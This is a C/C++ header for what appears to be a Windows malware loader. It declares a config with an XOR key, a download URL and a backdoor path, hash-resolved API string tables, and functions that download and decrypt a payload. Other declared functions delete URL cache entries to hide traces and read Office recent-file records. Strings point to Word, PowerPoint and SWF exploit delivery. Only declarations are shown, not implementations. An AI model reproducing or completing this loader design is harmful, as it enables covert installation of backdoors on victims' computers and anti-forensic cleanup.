#include <Windows.h>
#ifndef __loader_h
#define __loader_h

//#pragma optimize("", off)
#include "winapi.h"

#define FAST_KERNEL32_HANDLE
#define FAST_POINTERS

struct __config {
	DWORD dwXorKey;
	char szUrl[132];
	char szBackdoorPath[52];
};
struct __strings
{
//	DWORD ShellcodeGadget1;
//	DWORD ShellcodeGadget2;
//	DWORD ShellcodeGadget3;
	CHAR strNtDll[6];
	CHAR strKernel32[9];
	CHAR strUser32[7];
	CHAR strShell32[8];
	CHAR strUrlMon[7];
	CHAR strWinInet[8];
	CHAR strAdvapi32[9];
	
	CHAR strVirtualAlloc[13];
	CHAR strGetFileSize[12];
	CHAR strSleep[6];
	CHAR strExitProcess[12];
	CHAR strGetModuleFileNameW[19];
	CHAR strZwQueryInformationFile[23];
	CHAR strShellExecuteW[14];
	CHAR strUrlDownloadToFileA[19];
	CHAR strSHGetSpecialFolderPathW[24];
	CHAR strFindFirstUrlCacheEntryA[24];
	CHAR strFindNextUrlCacheEntryA[23];
	CHAR strDeleteUrlCacheEntryA[21];
	CHAR strFindCloseUrlCache[18];
	CHAR strNtQueryObject[14];
	CHAR strCloseHandle[12];
	CHAR strGetShortPathNameW[18];
	CHAR strGetFileAttributesW[19];
	CHAR strRegOpenKeyExW[14];
	CHAR strRegQueryValueExW[17];
	CHAR strDeleteFileA[12];
	CHAR strGetUrlCacheEntryInfoA[22];
	CHAR strInternetOpenA[14];
	CHAR strInternetOpenUrlA[17];
	CHAR strHttpQueryInfoA[15];
	CHAR strInternetReadFileExA[20];
	CHAR strCreateFileA[12];
	CHAR strWriteFile[10];
	CHAR strAtoi[5];
	CHAR strWcsToMbs[9];


	WCHAR strOfficeKey1[27];
	WCHAR strWord[5];
	WCHAR strPowerPoint[11];
	WCHAR strOfficeKey2[15];
	WCHAR strOfficeItem[7];

	CHAR strSWFSuffix[5];

	WCHAR strDOCRunning[13];
	WCHAR strDOCRunning2[6];
	WCHAR strPPRunning1[5];
	WCHAR strPPRunning2[8];


	WCHAR strDOCX[6];
	WCHAR strPPSX[6];

	WCHAR strDOCArgs[8];
	WCHAR strPPTArgs[5];

	WCHAR strTmp[4];
	WCHAR strQuote[2];

	CHAR strUserAgent[187];
};
typedef struct _VTABLE
{
	GETPROCADDRESS GetProcAddress;
	LOADLIBRARYA LoadLibraryA;
	OUTPUTDEBUGSTRINGA OutputDebugStringA;
	GETFILESIZE GetFileSize;
	VIRTUALALLOC VirtualAlloc;
	CLOSEHANDLE CloseHandle;
	SLEEP Sleep;
	EXITPROCESS ExitProcess;
	SHELLEXECUTEW ShellExecuteW;
	GETSHORTPATHNAMEW GetShortPathNameW;
	GETMODULEFILENAMEW GetModuleFileNameW;
	NTQUERYINFORMATIONFILE NtQueryInformationFile;
	NTQUERYOBJECT NtQueryObject;
	FINDFIRSTURLCACHEENTRYA FindFirstUrlCacheEntryA;
	FINDNEXTURLCACHEENTRYA FindNextUrlCacheEntryA;
	DELETEURLCACHEENTRYA DeleteUrlCacheEntryA;
	FINDCLOSEURLCACHE FindCloseUrlCache;
	URLDOWNLOADTOFILEA URLDownloadToFileA;
	SHGETSPECIALFOLDERPATHW SHGetSpecialFolderPathW;
	GETSHORTPATHNAMEA GetShortPathNameA;
	GETFILEATTRIBUTESW GetFileAttributesW;
	REGOPENKEYEXW RegOpenKeyExA;
	REGQUERYVALUEEXW RegQueryValueExA;
	DELETEFILEA DeleteFileA;
	GETURLCACHEENTRYINFOA GetUrlCacheEntryInfoA;
	INTERNETOPENA InternetOpenA;
	INTERNETOPENURLA InternetOpenUrlA;
	HTTPQUERYINFOA HttpQueryInfoA;
	INTERNETREADFILEEXA InternetReadFileExA;
	CREATEFILEA CreateFileA;
	WRITEFILE WriteFile;
	ATOI atoi;
	WCSTOMBS wcstombs;
} VTABLE, *PVTABLE;

extern "C" VOID Startup();
extern "C" VOID LoaderEntryPoint(struct __vtbl *VTBL, struct __config *config, struct __strings *strings);
extern "C" BOOL GetVTable(__out PVTABLE lpTable, struct __strings *strings);
extern "C" BOOL GetPointers(__out PGETPROCADDRESS fpGetProcAddress, __out PLOADLIBRARYA fpLoadLibraryA);
extern "C" HANDLE GetKernel32Handle();
extern "C" VOID RemoveCachedObject(__in PVTABLE lpTable, __in LPSTR strUrl, __in BOOL isSubString);
#ifdef FAST_POINTERS
extern "C" DWORD GetStringHash(__in LPVOID lpBuffer, __in BOOL bUnicode, __in UINT uLen);
#endif
extern "C" LPWSTR FindDriveOfFile(__in PVTABLE lpTable, __in struct __strings *strings, __in LPWSTR strFileName);
extern "C" LPWSTR ReadMRU(__in PVTABLE lpTable, __in struct __strings *strings);
extern "C" LPBYTE Decrypt(__in LPBYTE lpBuffer, __in DWORD dwBuffLen, __in DWORD dwXorKey);
extern "C" LPBYTE DownloadAndDecrypt(__in PVTABLE lpTable, __in struct __strings *strings, __in LPSTR strUrl, __in LPDWORD dwFileLen, __in DWORD dwXorKey);
extern "C" BOOL DownloadFile(__in PVTABLE lpTable, __in HINTERNET hUrl, __in LPBYTE lpBuffer, __in DWORD dwBufferLen);
// crt
extern "C" BOOL __ISUPPER__(__in CHAR c);
extern "C" CHAR __TOLOWER__(__in CHAR c);
extern "C" UINT __STRLEN__(__in LPSTR lpStr1);
extern "C" UINT __STRLENW__(__in LPWSTR lpStr1);
extern "C" INT __STRCMPI__(__in LPSTR lpStr1, __in LPSTR lpStr2);
extern "C" LPWSTR __STRSTRIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2);
extern "C" INT __STRNCMPI__(__in LPSTR lpStr1, __in LPSTR lpStr2, __in DWORD dwLen);
extern "C" INT __STRNCMPIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2,__in DWORD dwLen);
extern "C" LPWSTR __STRCATW__(__in LPWSTR	strDest, __in LPWSTR strSource);
extern "C" LPVOID __MEMCPY__(__in LPVOID lpDst, __in LPVOID lpSrc, __in DWORD dwCount);
extern "C" VOID __MEMSET__(__in LPVOID p, __in CHAR cValue, __in DWORD dwSize);
extern "C" LPSTR __STRSTRI__(__in LPSTR lpStr1, __in LPSTR lpStr2);
extern "C" LPSTR __STRCAT__(__in LPSTR	strDest, __in LPSTR strSource);
extern "C" VOID END_LOADER_DATA();

// OPTIONS -> linker -> function order

//#pragma optimize("", on)
#endif //__loader_h
.